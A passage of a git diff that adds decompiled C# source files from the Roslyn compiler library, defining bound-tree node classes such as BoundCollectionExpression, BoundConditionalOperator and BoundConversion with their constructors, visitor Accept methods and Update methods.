collectionBuilderInvocationPlaceholder, BoundExpression? collectionBuilderInvocationConversion, ImmutableArray elements, TypeSymbol type) + { + if (collectionTypeKind != CollectionTypeKind || placeholder != Placeholder || collectionCreation != CollectionCreation || !SymbolEqualityComparer.ConsiderEverything.Equals(collectionBuilderMethod, CollectionBuilderMethod) || collectionBuilderInvocationPlaceholder != CollectionBuilderInvocationPlaceholder || collectionBuilderInvocationConversion != CollectionBuilderInvocationConversion || elements != base.Elements || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundCollectionExpression boundCollectionExpression = new BoundCollectionExpression(Syntax, collectionTypeKind, placeholder, collectionCreation, collectionBuilderMethod, collectionBuilderInvocationPlaceholder, collectionBuilderInvocationConversion, elements, type, base.HasErrors); + boundCollectionExpression.CopyAttributes(this); + return boundCollectionExpression; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundCollectionExpressionBase.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundCollectionExpressionBase.cs new file mode 100644 index 0000000..c36b971 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundCollectionExpressionBase.cs @@ -0,0 +1,33 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundCollectionExpressionBase : BoundExpression +{ + public ImmutableArray Elements { get; } + + internal bool HasSpreadElements(out int numberIncludingLastSpread, out bool hasKnownLength) + { + hasKnownLength = true; + numberIncludingLastSpread = 0; + for (int i = 0; i < Elements.Length; i++) + { + if (Elements[i] is BoundCollectionExpressionSpreadElement boundCollectionExpressionSpreadElement) + { + numberIncludingLastSpread = i + 1; + if (boundCollectionExpressionSpreadElement.LengthOrCount == null) + { + hasKnownLength = false; + } + } + } + return numberIncludingLastSpread > 0; + } + + protected BoundCollectionExpressionBase(BoundKind kind, SyntaxNode syntax, ImmutableArray elements, TypeSymbol? type, bool hasErrors = false) + : base(kind, syntax, type, hasErrors) + { + Elements = elements; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundCollectionExpressionSpreadElement.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundCollectionExpressionSpreadElement.cs new file mode 100644 index 0000000..68dd47d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundCollectionExpressionSpreadElement.cs @@ -0,0 +1,52 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundCollectionExpressionSpreadElement : BoundExpression +{ + public new TypeSymbol? Type => base.Type; + + public BoundExpression Expression { get; } + + public BoundCollectionExpressionSpreadExpressionPlaceholder? ExpressionPlaceholder { get; } + + public BoundExpression? Conversion { get; } + + public ForEachEnumeratorInfo? EnumeratorInfoOpt { get; } + + public BoundExpression? LengthOrCount { get; } + + public BoundValuePlaceholder? ElementPlaceholder { get; } + + public BoundStatement? IteratorBody { get; } + + public BoundCollectionExpressionSpreadElement(SyntaxNode syntax, BoundExpression expression, BoundCollectionExpressionSpreadExpressionPlaceholder? expressionPlaceholder, BoundExpression? conversion, ForEachEnumeratorInfo? enumeratorInfoOpt, BoundExpression? lengthOrCount, BoundValuePlaceholder? elementPlaceholder, BoundStatement? iteratorBody, bool hasErrors = false) + : base(BoundKind.CollectionExpressionSpreadElement, syntax, null, hasErrors || expression.HasErrors() || expressionPlaceholder.HasErrors() || conversion.HasErrors() || lengthOrCount.HasErrors() || elementPlaceholder.HasErrors() || iteratorBody.HasErrors()) + { + Expression = expression; + ExpressionPlaceholder = expressionPlaceholder; + Conversion = conversion; + EnumeratorInfoOpt = enumeratorInfoOpt; + LengthOrCount = lengthOrCount; + ElementPlaceholder = elementPlaceholder; + IteratorBody = iteratorBody; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitCollectionExpressionSpreadElement(this); + } + + public BoundCollectionExpressionSpreadElement Update(BoundExpression expression, BoundCollectionExpressionSpreadExpressionPlaceholder? expressionPlaceholder, BoundExpression? conversion, ForEachEnumeratorInfo? enumeratorInfoOpt, BoundExpression? lengthOrCount, BoundValuePlaceholder? elementPlaceholder, BoundStatement? iteratorBody) + { + if (expression != Expression || expressionPlaceholder != ExpressionPlaceholder || conversion != Conversion || enumeratorInfoOpt != EnumeratorInfoOpt || lengthOrCount != LengthOrCount || elementPlaceholder != ElementPlaceholder || iteratorBody != IteratorBody) + { + BoundCollectionExpressionSpreadElement boundCollectionExpressionSpreadElement = new BoundCollectionExpressionSpreadElement(Syntax, expression, expressionPlaceholder, conversion, enumeratorInfoOpt, lengthOrCount, elementPlaceholder, iteratorBody, base.HasErrors); + boundCollectionExpressionSpreadElement.CopyAttributes(this); + return boundCollectionExpressionSpreadElement; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundCollectionExpressionSpreadExpressionPlaceholder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundCollectionExpressionSpreadExpressionPlaceholder.cs new file mode 100644 index 0000000..e37f56c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundCollectionExpressionSpreadExpressionPlaceholder.cs @@ -0,0 +1,36 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundCollectionExpressionSpreadExpressionPlaceholder : BoundValuePlaceholderBase +{ + public sealed override bool IsEquivalentToThisReference => false; + + public BoundCollectionExpressionSpreadExpressionPlaceholder(SyntaxNode syntax, TypeSymbol? type, bool hasErrors) + : base(BoundKind.CollectionExpressionSpreadExpressionPlaceholder, syntax, type, hasErrors) + { + } + + public BoundCollectionExpressionSpreadExpressionPlaceholder(SyntaxNode syntax, TypeSymbol? type) + : base(BoundKind.CollectionExpressionSpreadExpressionPlaceholder, syntax, type) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitCollectionExpressionSpreadExpressionPlaceholder(this); + } + + public BoundCollectionExpressionSpreadExpressionPlaceholder Update(TypeSymbol? type) + { + if (!TypeSymbol.Equals(type, base.Type, (TypeCompareKind)0)) + { + BoundCollectionExpressionSpreadExpressionPlaceholder boundCollectionExpressionSpreadExpressionPlaceholder = new BoundCollectionExpressionSpreadExpressionPlaceholder(Syntax, type, base.HasErrors); + boundCollectionExpressionSpreadExpressionPlaceholder.CopyAttributes(this); + return boundCollectionExpressionSpreadExpressionPlaceholder; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundCollectionInitializerExpression.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundCollectionInitializerExpression.cs new file mode 100644 index 0000000..c74e029 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundCollectionInitializerExpression.cs @@ -0,0 +1,30 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundCollectionInitializerExpression : BoundObjectInitializerExpressionBase +{ + public BoundCollectionInitializerExpression(SyntaxNode syntax, BoundObjectOrCollectionValuePlaceholder placeholder, ImmutableArray initializers, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.CollectionInitializerExpression, syntax, placeholder, initializers, type, hasErrors || placeholder.HasErrors() || initializers.HasErrors()) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitCollectionInitializerExpression(this); + } + + public BoundCollectionInitializerExpression Update(BoundObjectOrCollectionValuePlaceholder placeholder, ImmutableArray initializers, TypeSymbol type) + { + if (placeholder != base.Placeholder || initializers != base.Initializers || !TypeSymbol.Equals(type, base.Type, (TypeCompareKind)0)) + { + BoundCollectionInitializerExpression boundCollectionInitializerExpression = new BoundCollectionInitializerExpression(Syntax, placeholder, initializers, type, base.HasErrors); + boundCollectionInitializerExpression.CopyAttributes(this); + return boundCollectionInitializerExpression; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundComplexConditionalReceiver.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundComplexConditionalReceiver.cs new file mode 100644 index 0000000..ce8c345 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundComplexConditionalReceiver.cs @@ -0,0 +1,37 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundComplexConditionalReceiver : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public BoundExpression ValueTypeReceiver { get; } + + public BoundExpression ReferenceTypeReceiver { get; } + + public BoundComplexConditionalReceiver(SyntaxNode syntax, BoundExpression valueTypeReceiver, BoundExpression referenceTypeReceiver, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.ComplexConditionalReceiver, syntax, type, hasErrors || valueTypeReceiver.HasErrors() || referenceTypeReceiver.HasErrors()) + { + ValueTypeReceiver = valueTypeReceiver; + ReferenceTypeReceiver = referenceTypeReceiver; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitComplexConditionalReceiver(this); + } + + public BoundComplexConditionalReceiver Update(BoundExpression valueTypeReceiver, BoundExpression referenceTypeReceiver, TypeSymbol type) + { + if (valueTypeReceiver != ValueTypeReceiver || referenceTypeReceiver != ReferenceTypeReceiver || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundComplexConditionalReceiver boundComplexConditionalReceiver = new BoundComplexConditionalReceiver(Syntax, valueTypeReceiver, referenceTypeReceiver, type, base.HasErrors); + boundComplexConditionalReceiver.CopyAttributes(this); + return boundComplexConditionalReceiver; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundCompoundAssignmentOperator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundCompoundAssignmentOperator.cs new file mode 100644 index 0000000..f1b0fcf --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundCompoundAssignmentOperator.cs @@ -0,0 +1,71 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundCompoundAssignmentOperator : BoundExpression +{ + public override Symbol? ExpressionSymbol => Operator.Method; + + public new TypeSymbol Type => base.Type; + + public BinaryOperatorSignature Operator { get; } + + public BoundExpression Left { get; } + + public BoundExpression Right { get; } + + public BoundValuePlaceholder? LeftPlaceholder { get; } + + public BoundExpression? LeftConversion { get; } + + public BoundValuePlaceholder? FinalPlaceholder { get; } + + public BoundExpression? FinalConversion { get; } + + public override LookupResultKind ResultKind { get; } + + public ImmutableArray OriginalUserDefinedOperatorsOpt { get; } + + public BoundCompoundAssignmentOperator(SyntaxNode syntax, BinaryOperatorSignature @operator, BoundExpression left, BoundExpression right, BoundValuePlaceholder? leftPlaceholder, BoundExpression? leftConversion, BoundValuePlaceholder? finalPlaceholder, BoundExpression? finalConversion, LookupResultKind resultKind, TypeSymbol type, bool hasErrors = false) + : this(syntax, @operator, left, right, leftPlaceholder, leftConversion, finalPlaceholder, finalConversion, resultKind, default(ImmutableArray), type, hasErrors) + { + } + + public BoundCompoundAssignmentOperator Update(BinaryOperatorSignature @operator, BoundExpression left, BoundExpression right, BoundValuePlaceholder? leftPlaceholder, BoundExpression? leftConversion, BoundValuePlaceholder? finalPlaceholder, BoundExpression? finalConversion, LookupResultKind resultKind, TypeSymbol type) + { + return Update(@operator, left, right, leftPlaceholder, leftConversion, finalPlaceholder, finalConversion, resultKind, OriginalUserDefinedOperatorsOpt, type); + } + + public BoundCompoundAssignmentOperator(SyntaxNode syntax, BinaryOperatorSignature @operator, BoundExpression left, BoundExpression right, BoundValuePlaceholder? leftPlaceholder, BoundExpression? leftConversion, BoundValuePlaceholder? finalPlaceholder, BoundExpression? finalConversion, LookupResultKind resultKind, ImmutableArray originalUserDefinedOperatorsOpt, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.CompoundAssignmentOperator, syntax, type, hasErrors || left.HasErrors() || right.HasErrors() || leftPlaceholder.HasErrors() || leftConversion.HasErrors() || finalPlaceholder.HasErrors() || finalConversion.HasErrors()) + { + Operator = @operator; + Left = left; + Right = right; + LeftPlaceholder = leftPlaceholder; + LeftConversion = leftConversion; + FinalPlaceholder = finalPlaceholder; + FinalConversion = finalConversion; + ResultKind = resultKind; + OriginalUserDefinedOperatorsOpt = originalUserDefinedOperatorsOpt; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitCompoundAssignmentOperator(this); + } + + public BoundCompoundAssignmentOperator Update(BinaryOperatorSignature @operator, BoundExpression left, BoundExpression right, BoundValuePlaceholder? leftPlaceholder, BoundExpression? leftConversion, BoundValuePlaceholder? finalPlaceholder, BoundExpression? finalConversion, LookupResultKind resultKind, ImmutableArray originalUserDefinedOperatorsOpt, TypeSymbol type) + { + if (@operator != Operator || left != Left || right != Right || leftPlaceholder != LeftPlaceholder || leftConversion != LeftConversion || finalPlaceholder != FinalPlaceholder || finalConversion != FinalConversion || resultKind != ResultKind || originalUserDefinedOperatorsOpt != OriginalUserDefinedOperatorsOpt || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundCompoundAssignmentOperator boundCompoundAssignmentOperator = new BoundCompoundAssignmentOperator(Syntax, @operator, left, right, leftPlaceholder, leftConversion, finalPlaceholder, finalConversion, resultKind, originalUserDefinedOperatorsOpt, type, base.HasErrors); + boundCompoundAssignmentOperator.CopyAttributes(this); + return boundCompoundAssignmentOperator; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConditionalAccess.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConditionalAccess.cs new file mode 100644 index 0000000..75870b2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConditionalAccess.cs @@ -0,0 +1,37 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundConditionalAccess : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public BoundExpression Receiver { get; } + + public BoundExpression AccessExpression { get; } + + public BoundConditionalAccess(SyntaxNode syntax, BoundExpression receiver, BoundExpression accessExpression, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.ConditionalAccess, syntax, type, hasErrors || receiver.HasErrors() || accessExpression.HasErrors()) + { + Receiver = receiver; + AccessExpression = accessExpression; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitConditionalAccess(this); + } + + public BoundConditionalAccess Update(BoundExpression receiver, BoundExpression accessExpression, TypeSymbol type) + { + if (receiver != Receiver || accessExpression != AccessExpression || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundConditionalAccess boundConditionalAccess = new BoundConditionalAccess(Syntax, receiver, accessExpression, type, base.HasErrors); + boundConditionalAccess.CopyAttributes(this); + return boundConditionalAccess; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConditionalGoto.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConditionalGoto.cs new file mode 100644 index 0000000..247c687 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConditionalGoto.cs @@ -0,0 +1,38 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundConditionalGoto : BoundStatement +{ + public BoundExpression Condition { get; } + + public bool JumpIfTrue { get; } + + public LabelSymbol Label { get; } + + public BoundConditionalGoto(SyntaxNode syntax, BoundExpression condition, bool jumpIfTrue, LabelSymbol label, bool hasErrors = false) + : base(BoundKind.ConditionalGoto, syntax, hasErrors || condition.HasErrors()) + { + Condition = condition; + JumpIfTrue = jumpIfTrue; + Label = label; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitConditionalGoto(this); + } + + public BoundConditionalGoto Update(BoundExpression condition, bool jumpIfTrue, LabelSymbol label) + { + if (condition != Condition || jumpIfTrue != JumpIfTrue || !SymbolEqualityComparer.ConsiderEverything.Equals(label, Label)) + { + BoundConditionalGoto boundConditionalGoto = new BoundConditionalGoto(Syntax, condition, jumpIfTrue, label, base.HasErrors); + boundConditionalGoto.CopyAttributes(this); + return boundConditionalGoto; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConditionalLoopStatement.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConditionalLoopStatement.cs new file mode 100644 index 0000000..08afb1c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConditionalLoopStatement.cs @@ -0,0 +1,21 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundConditionalLoopStatement : BoundLoopStatement +{ + public ImmutableArray Locals { get; } + + public BoundExpression Condition { get; } + + public BoundStatement Body { get; } + + protected BoundConditionalLoopStatement(BoundKind kind, SyntaxNode syntax, ImmutableArray locals, BoundExpression condition, BoundStatement body, GeneratedLabelSymbol breakLabel, GeneratedLabelSymbol continueLabel, bool hasErrors = false) + : base(kind, syntax, breakLabel, continueLabel, hasErrors) + { + Locals = locals; + Condition = condition; + Body = body; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConditionalOperator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConditionalOperator.cs new file mode 100644 index 0000000..1245216 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConditionalOperator.cs @@ -0,0 +1,64 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundConditionalOperator : BoundExpression +{ + public bool IsDynamic + { + get + { + if (Condition.Kind == BoundKind.UnaryOperator) + { + return ((BoundUnaryOperator)Condition).OperatorKind.IsDynamic(); + } + return false; + } + } + + public new TypeSymbol Type => base.Type; + + public bool IsRef { get; } + + public BoundExpression Condition { get; } + + public BoundExpression Consequence { get; } + + public BoundExpression Alternative { get; } + + public override ConstantValue? ConstantValueOpt { get; } + + public TypeSymbol? NaturalTypeOpt { get; } + + public bool WasTargetTyped { get; } + + public BoundConditionalOperator(SyntaxNode syntax, bool isRef, BoundExpression condition, BoundExpression consequence, BoundExpression alternative, ConstantValue? constantValueOpt, TypeSymbol? naturalTypeOpt, bool wasTargetTyped, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.ConditionalOperator, syntax, type, hasErrors || condition.HasErrors() || consequence.HasErrors() || alternative.HasErrors()) + { + IsRef = isRef; + Condition = condition; + Consequence = consequence; + Alternative = alternative; + ConstantValueOpt = constantValueOpt; + NaturalTypeOpt = naturalTypeOpt; + WasTargetTyped = wasTargetTyped; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitConditionalOperator(this); + } + + public BoundConditionalOperator Update(bool isRef, BoundExpression condition, BoundExpression consequence, BoundExpression alternative, ConstantValue? constantValueOpt, TypeSymbol? naturalTypeOpt, bool wasTargetTyped, TypeSymbol type) + { + if (isRef != IsRef || condition != Condition || consequence != Consequence || alternative != Alternative || constantValueOpt != ConstantValueOpt || !TypeSymbol.Equals(naturalTypeOpt, NaturalTypeOpt, (TypeCompareKind)0) || wasTargetTyped != WasTargetTyped || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundConditionalOperator boundConditionalOperator = new BoundConditionalOperator(Syntax, isRef, condition, consequence, alternative, constantValueOpt, naturalTypeOpt, wasTargetTyped, type, base.HasErrors); + boundConditionalOperator.CopyAttributes(this); + return boundConditionalOperator; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConditionalReceiver.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConditionalReceiver.cs new file mode 100644 index 0000000..593eeee --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConditionalReceiver.cs @@ -0,0 +1,40 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundConditionalReceiver : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public int Id { get; } + + public BoundConditionalReceiver(SyntaxNode syntax, int id, TypeSymbol type, bool hasErrors) + : base(BoundKind.ConditionalReceiver, syntax, type, hasErrors) + { + Id = id; + } + + public BoundConditionalReceiver(SyntaxNode syntax, int id, TypeSymbol type) + : base(BoundKind.ConditionalReceiver, syntax, type) + { + Id = id; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitConditionalReceiver(this); + } + + public BoundConditionalReceiver Update(int id, TypeSymbol type) + { + if (id != Id || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundConditionalReceiver boundConditionalReceiver = new BoundConditionalReceiver(Syntax, id, type, base.HasErrors); + boundConditionalReceiver.CopyAttributes(this); + return boundConditionalReceiver; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConstantPattern.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConstantPattern.cs new file mode 100644 index 0000000..956837d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConstantPattern.cs @@ -0,0 +1,35 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundConstantPattern : BoundPattern +{ + public BoundExpression Value { get; } + + public ConstantValue ConstantValue { get; } + + public BoundConstantPattern(SyntaxNode syntax, BoundExpression value, ConstantValue constantValue, TypeSymbol inputType, TypeSymbol narrowedType, bool hasErrors = false) + : base(BoundKind.ConstantPattern, syntax, inputType, narrowedType, hasErrors || value.HasErrors()) + { + Value = value; + ConstantValue = constantValue; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitConstantPattern(this); + } + + public BoundConstantPattern Update(BoundExpression value, ConstantValue constantValue, TypeSymbol inputType, TypeSymbol narrowedType) + { + if (value != Value || constantValue != ConstantValue || !TypeSymbol.Equals(inputType, base.InputType, (TypeCompareKind)0) || !TypeSymbol.Equals(narrowedType, base.NarrowedType, (TypeCompareKind)0)) + { + BoundConstantPattern boundConstantPattern = new BoundConstantPattern(Syntax, value, constantValue, inputType, narrowedType, base.HasErrors); + boundConstantPattern.CopyAttributes(this); + return boundConstantPattern; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConstructorMethodBody.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConstructorMethodBody.cs new file mode 100644 index 0000000..14c350a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConstructorMethodBody.cs @@ -0,0 +1,36 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundConstructorMethodBody : BoundMethodBodyBase +{ + public ImmutableArray Locals { get; } + + public BoundStatement? Initializer { get; } + + public BoundConstructorMethodBody(SyntaxNode syntax, ImmutableArray locals, BoundStatement? initializer, BoundBlock? blockBody, BoundBlock? expressionBody, bool hasErrors = false) + : base(BoundKind.ConstructorMethodBody, syntax, blockBody, expressionBody, hasErrors || initializer.HasErrors() || blockBody.HasErrors() || expressionBody.HasErrors()) + { + Locals = locals; + Initializer = initializer; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitConstructorMethodBody(this); + } + + public BoundConstructorMethodBody Update(ImmutableArray locals, BoundStatement? initializer, BoundBlock? blockBody, BoundBlock? expressionBody) + { + if (locals != Locals || initializer != Initializer || blockBody != base.BlockBody || expressionBody != base.ExpressionBody) + { + BoundConstructorMethodBody boundConstructorMethodBody = new BoundConstructorMethodBody(Syntax, locals, initializer, blockBody, expressionBody, base.HasErrors); + boundConstructorMethodBody.CopyAttributes(this); + return boundConstructorMethodBody; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundContinueStatement.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundContinueStatement.cs new file mode 100644 index 0000000..1b7cf50 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundContinueStatement.cs @@ -0,0 +1,38 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundContinueStatement : BoundStatement +{ + public GeneratedLabelSymbol Label { get; } + + public BoundContinueStatement(SyntaxNode syntax, GeneratedLabelSymbol label, bool hasErrors) + : base(BoundKind.ContinueStatement, syntax, hasErrors) + { + Label = label; + } + + public BoundContinueStatement(SyntaxNode syntax, GeneratedLabelSymbol label) + : base(BoundKind.ContinueStatement, syntax) + { + Label = label; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitContinueStatement(this); + } + + public BoundContinueStatement Update(GeneratedLabelSymbol label) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(label, Label)) + { + BoundContinueStatement boundContinueStatement = new BoundContinueStatement(Syntax, label, base.HasErrors); + boundContinueStatement.CopyAttributes(this); + return boundContinueStatement; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConversion.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConversion.cs new file mode 100644 index 0000000..7eb4fd1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundConversion.cs @@ -0,0 +1,119 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundConversion : BoundExpression +{ + public ConversionKind ConversionKind => Conversion.Kind; + + public bool IsExtensionMethod => Conversion.IsExtensionMethod; + + public MethodSymbol? SymbolOpt => Conversion.Method; + + public override Symbol? ExpressionSymbol => SymbolOpt; + + public override bool SuppressVirtualCalls => IsBaseConversion; + + public new TypeSymbol Type => base.Type; + + public BoundExpression Operand { get; } + + public Conversion Conversion { get; } + + public bool IsBaseConversion { get; } + + public bool Checked { get; } + + public bool ExplicitCastInCode { get; } + + public override ConstantValue? ConstantValueOpt { get; } + + public ConversionGroup? ConversionGroupOpt { get; } + + public ImmutableArray OriginalUserDefinedConversionsOpt { get; } + + public BoundConversion UpdateOperand(BoundExpression operand) + { + return Update(operand, Conversion, IsBaseConversion, Checked, ExplicitCastInCode, ConstantValueOpt, ConversionGroupOpt, OriginalUserDefinedConversionsOpt, Type); + } + + internal bool ConversionHasSideEffects() + { + switch (ConversionKind) + { + case ConversionKind.Identity: + case ConversionKind.ImplicitNumeric: + case ConversionKind.ImplicitEnumeration: + case ConversionKind.ImplicitReference: + case ConversionKind.Boxing: + return false; + case ConversionKind.ExplicitNumeric: + return Checked; + default: + return true; + } + } + + public static BoundConversion SynthesizedNonUserDefined(SyntaxNode syntax, BoundExpression operand, Conversion conversion, TypeSymbol type, ConstantValue? constantValueOpt = null) + { + return new BoundConversion(syntax, operand, conversion, isBaseConversion: false, @checked: false, explicitCastInCode: false, 